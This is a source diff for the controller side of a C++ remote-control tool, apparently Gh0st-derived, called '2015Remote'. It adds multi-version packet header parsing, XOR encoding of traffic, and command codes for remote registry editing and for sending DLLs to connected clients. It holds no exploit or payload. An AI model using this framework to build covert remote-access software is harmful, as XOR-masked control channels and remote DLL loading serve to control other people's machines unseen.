diff --git a/common/commands.h b/common/commands.h index 53a9111..7adcc32 100644 --- a/common/commands.h +++ b/common/commands.h @@ -133,13 +133,17 @@ enum COMMAND_SERVICECONFIG, // 服务端发出的标识 TOKEN_TALK_START, // 即时消息开始 TOKEN_TALKCMPLT, // 即时消息可重发 - TOKEN_KEYFRAME, // 关键帧 + TOKEN_KEYFRAME=134, // 关键帧 + TOKEN_REGEDIT = 200, // 注册表 COMMAND_REG_FIND, // 注册表 管理标识 TOKEN_REG_KEY, TOKEN_REG_PATH, COMMAND_BYE, // 被控端退出 - SERVER_EXIT, // 主控端退出 + SERVER_EXIT=205, // 主控端退出 + + SOCKET_DLLLOADER=210, // 客户端请求DLL + CMD_DLLDATA, // 响应DLL数据 }; #define CLIENT_TYPE_DLL 0 // 客户端代码以DLL运行 diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 9e4ffdc..997cbe2 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -340,6 +340,20 @@ bool IsExitItem(CListCtrl &list, DWORD_PTR data){ return false; } +std::vector SplitCString(CString strData) { + std::vector vecItems; + CString strItem; + int i = 0; + + while (AfxExtractSubString(strItem, strData, i, _T('|'))) + { + vecItems.push_back(strItem); // Add to vector + i++; + } + return vecItems; +} + + VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, CString strCPU, CString strVideo, CString strPing, CString ver, CString st, CString tp, CONTEXT_OBJECT* ContextObject) { @@ -351,7 +365,8 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName } //默认为0行 这样所有插入的新列都在最上面 int i = m_CList_Online.InsertItem(m_CList_Online.GetItemCount(),strIP); - + auto vec = SplitCString(tp.IsEmpty() ? "DLL" : tp); + tp = vec[0]; m_CList_Online.SetItemText(i,ONLINELIST_ADDR,strAddr); m_CList_Online.SetItemText(i,ONLINELIST_COMPUTER_NAME,strPCName); m_CList_Online.SetItemText(i,ONLINELIST_OS,strOS); diff --git a/server/2015Remote/IOCPServer.cpp b/server/2015Remote/IOCPServer.cpp index c60cfa8..d5f31b9 100644 --- a/server/2015Remote/IOCPServer.cpp +++ b/server/2015Remote/IOCPServer.cpp @@ -92,9 +92,6 @@ IOCPServer::IOCPServer(void) m_hKillEvent = NULL; - memset(m_szPacketFlag, 0, sizeof(m_szPacketFlag)); - memcpy(m_szPacketFlag,"Shine",FLAG_LENGTH); - m_NotifyProc = NULL; m_OfflineProc = NULL; #if USING_CTX @@ -488,37 +485,33 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans //将接收到的数据拷贝到我们自己的内存中wsabuff 8192 ContextObject->InCompressedBuffer.WriteBuffer((PBYTE)ContextObject->szBuffer,dwTrans); //查看数据包里的数据 - while (ContextObject->InCompressedBuffer.GetBufferLength() > HDR_LENGTH) + while (true) { - char szPacketFlag[FLAG_LENGTH + 3]= {0}; // 8字节对齐 - ContextObject->InCompressedBuffer.CopyBuffer(szPacketFlag, FLAG_LENGTH, 0); - if (memcmp(m_szPacketFlag, szPacketFlag, FLAG_LENGTH) != 0) { + PR pr = ContextObject->Parse(ContextObject->InCompressedBuffer); + if (pr.IsFailed()) + { ContextObject->InCompressedBuffer.ClearBuffer(); break; } + else if (pr.IsNeedMore()) { + break; + } - //Shine[50][kdjfkdjfkj] ULONG ulPackTotalLength = 0; - ContextObject->InCompressedBuffer.CopyBuffer(&ulPackTotalLength, sizeof(ULONG), FLAG_LENGTH); + ContextObject->InCompressedBuffer.CopyBuffer(&ulPackTotalLength, sizeof(ULONG), pr.Result); //取出数据包的总长:5字节标识+4字节数据包总长度+4字节原始数据长度 int bufLen = ContextObject->InCompressedBuffer.GetBufferLength(); if (ulPackTotalLength && bufLen >= ulPackTotalLength) { + ULONG ulCompressedLength = 0; ULONG ulOriginalLength = 0; - ContextObject->InCompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, FLAG_LENGTH); - ContextObject->InCompressedBuffer.ReadBuffer((PBYTE) &ulPackTotalLength, sizeof(ULONG)); - ContextObject->InCompressedBuffer.ReadBuffer((PBYTE) &ulOriginalLength, sizeof(ULONG)); - // TRACE("ulPackTotalLength: %d, ulOriginalLength: %d\n", ulPackTotalLength, ulOriginalLength); - ULONG ulCompressedLength = ulPackTotalLength - HDR_LENGTH; //461 - 13 448 - PBYTE CompressedBuffer = new BYTE[ulCompressedLength]; //没有解压 - //从数据包当前将源数据没有解压读取到pData 448 - ContextObject->InCompressedBuffer.ReadBuffer(CompressedBuffer, ulCompressedLength); + PBYTE CompressedBuffer = ContextObject->ReadBuffer(ulCompressedLength, ulOriginalLength); if (ContextObject->CompressMethod == COMPRESS_UNKNOWN) { delete[] CompressedBuffer; throw "Unknown method"; } bool usingZstd = ContextObject->CompressMethod == COMPRESS_ZSTD, zlibFailed = false; - PBYTE DeCompressedBuffer = new BYTE[ulOriginalLength]; //解压过的内存 436 + PBYTE DeCompressedBuffer = new BYTE[ulOriginalLength]; //解压过的内存 size_t iRet = usingZstd ? Muncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength) : uncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength); @@ -527,6 +520,7 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans ContextObject->InDeCompressedBuffer.ClearBuffer(); //ContextObject->InCompressedBuffer.ClearBuffer(); ContextObject->InDeCompressedBuffer.WriteBuffer(DeCompressedBuffer, ulOriginalLength); + ContextObject->Decode(DeCompressedBuffer, ulOriginalLength); m_NotifyProc(ContextObject); //通知窗口 }else if (usingZstd){ // 尝试用zlib解压缩 @@ -534,6 +528,7 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans ContextObject->CompressMethod = COMPRESS_ZLIB; ContextObject->InDeCompressedBuffer.ClearBuffer(); ContextObject->InDeCompressedBuffer.WriteBuffer(DeCompressedBuffer, ulOriginalLength); + ContextObject->Decode(DeCompressedBuffer, ulOriginalLength); m_NotifyProc(ContextObject); } else { zlibFailed = true; @@ -593,6 +588,8 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe ZSTD_compressBound(ulOriginalLength) : (double)ulOriginalLength * 1.001 + 12; #endif LPBYTE CompressedBuffer = new BYTE[ulCompressedLength]; + Buffer tmp(szBuffer, ulOriginalLength); szBuffer = tmp.Buf(); + ContextObject->Encode(szBuffer, ulOriginalLength); size_t iRet = usingZstd ? Mcompress(CompressedBuffer, &ulCompressedLength, (LPBYTE)szBuffer, ulOriginalLength): compress(CompressedBuffer, &ulCompressedLength, (LPBYTE)szBuffer, ulOriginalLength); @@ -606,11 +603,7 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe ulCompressedLength = usingZstd ? iRet : ulCompressedLength; - ULONG ulPackTotalLength = ulCompressedLength + HDR_LENGTH; - ContextObject->OutCompressedBuffer.WriteBuffer((LPBYTE)m_szPacketFlag,FLAG_LENGTH); - ContextObject->OutCompressedBuffer.WriteBuffer((PBYTE)&ulPackTotalLength, sizeof(ULONG)); - ContextObject->OutCompressedBuffer.WriteBuffer((PBYTE)&ulOriginalLength, sizeof(ULONG)); - ContextObject->OutCompressedBuffer.WriteBuffer(CompressedBuffer, ulCompressedLength); + ContextObject->WriteBuffer(CompressedBuffer, ulCompressedLength, ulOriginalLength); delete [] CompressedBuffer; } diff --git a/server/2015Remote/IOCPServer.h b/server/2015Remote/IOCPServer.h index 2a37b29..d722be0 100644 --- a/server/2015Remote/IOCPServer.h +++ b/server/2015Remote/IOCPServer.h @@ -20,6 +20,132 @@ std::string GetRemoteIP(SOCKET sock); +// Encoder interface. The default encoder will do nothing. +class Encoder { +public: + virtual ~Encoder(){} + // Encode data before compress. + virtual void Encode(unsigned char* data, int len) const{} + // Decode data after uncompress. + virtual void Decode(unsigned char* data, int len) const{} +}; + +// XOR Encoder implementation. +class XOREncoder : public Encoder { +private: + std::vector Keys; + +public: + XOREncoder(const std::vector& keys = {0}) : Keys(keys){} + + virtual void Encode(unsigned char* data, int len) const { + XOR(data, len, Keys); + } + + virtual void Decode(unsigned char* data, int len) const { + static std::vector reversed(Keys.rbegin(), Keys.rend()); + XOR(data, len, reversed); + } + +protected: + void XOR(unsigned char* data, int len, const std::vector &keys) const { + for (char key : keys) { + for (int i = 0; i < len; ++i) { + data[i] ^= key; + } + } + } +}; + +enum { + PARSER_FAILED = -1, // 解析失败 + PARSER_NEEDMORE = 0, // 需要更多数据 +}; + +typedef struct PR { + int Result; + bool IsFailed() const { + return PARSER_FAILED == Result; + } + bool IsNeedMore() const { + return PARSER_NEEDMORE == Result; + } +}PR; + +struct CONTEXT_OBJECT; + +// Header parser: parse the data to make sure it's from a supported client. +class HeaderParser { + friend struct CONTEXT_OBJECT; +protected: + HeaderParser() { + memset(this, 0, sizeof(HeaderParser)); + } + virtual ~HeaderParser() { + Reset(); + } + PR Parse(CBuffer& buf) { + const int MinimumCount = 8; + if (buf.GetBufferLength() < MinimumCount) { + return PR{ PARSER_NEEDMORE }; + } + char szPacketFlag[32] = { 0 }; + buf.CopyBuffer(szPacketFlag, MinimumCount, 0); + if (m_bParsed) { // Check if the header has been parsed. + return memcmp(m_szPacketFlag, szPacketFlag, m_nCompareLen) == 0 ? PR{ m_nFlagLen } : PR{ PARSER_FAILED }; + } + // More version may be added in the future. + const char version0[] = "Shine", version1[] = "<>"; + if (memcmp(version0, szPacketFlag, sizeof(version0) - 1) == 0) { + memcpy(m_szPacketFlag, version0, sizeof(version0) - 1); + m_nCompareLen = strlen(m_szPacketFlag); + m_nFlagLen = m_nCompareLen; + m_nHeaderLen = m_nFlagLen + 8; + m_bParsed = TRUE; + m_Encoder = new Encoder(); + } + else if (memcmp(version1, szPacketFlag, sizeof(version1) - 1) == 0) { + memcpy(m_szPacketFlag, version1, sizeof(version1) - 1); + m_nCompareLen = strlen(m_szPacketFlag); + m_nFlagLen = m_nCompareLen + 3; + m_nHeaderLen = m_nFlagLen + 8; + m_bParsed = TRUE; + m_Encoder = new XOREncoder(); + } + else { + return PR{ PARSER_FAILED }; + } + return PR{ m_nFlagLen }; + } + HeaderParser& Reset() { + SAFE_DELETE(m_Encoder); + memset(this, 0, sizeof(HeaderParser)); + return *this; + } + BOOL IsParsed() const { + return m_bParsed; + } + int GetFlagLen() const { + return m_nFlagLen; + } + int GetHeaderLen() const { + return m_nHeaderLen; + } + const char* GetFlag() const { + return m_szPacketFlag; + } + Encoder* GetEncoder() const { + return m_Encoder; + } +private: + BOOL m_bParsed; // 数据包是否可以解析 + int m_nHeaderLen; // 数据包的头长度 + int m_nCompareLen; // 比对字节数 + int m_nFlagLen; // 标识长度 + char m_szPacketFlag[32]; // 对比信息 + Encoder* m_Encoder; // 编码器 +}; + enum IOType { IOInitialize, @@ -34,7 +160,7 @@ enum { COMPRESS_ZSTD = 0, // 当前使用的压缩方法 }; -typedef struct _CONTEXT_OBJECT +typedef struct CONTEXT_OBJECT { CString sClientInfo[10]; SOCKET sClientSocket; @@ -48,6 +174,7 @@ typedef struct _CONTEXT_OBJECT HANDLE hDlg; void *olps; // OVERLAPPEDPLUS int CompressMethod; // 压缩算法 + HeaderParser Parser; // 解析数据协议 VOID InitMember() { @@ -59,6 +186,7 @@ typedef struct _CONTEXT_OBJECT memset(&wsaOutBuffer,0,sizeof(WSABUF)); olps = NULL; CompressMethod = COMPRESS_ZSTD; + Parser.Reset(); } VOID SetClientInfo(CString s[10]){ for (int i=0; iEncode((unsigned char*)data, len); + } + // Decode data after uncompress. + void Decode(PBYTE data, int len) const { + Parser.GetEncoder()->Decode((unsigned char*)data, len); + } }CONTEXT_OBJECT,*PCONTEXT_OBJECT; typedef CList ContextObjectList; @@ -100,8 +265,6 @@ public: ULONG m_ulKeepLiveTime; - char m_szPacketFlag[FLAG_LENGTH + 3]; - typedef void (CALLBACK *pfnNotifyProc)(CONTEXT_OBJECT* ContextObject); typedef void (CALLBACK *pfnOfflineProc)(CONTEXT_OBJECT* ContextObject); UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort);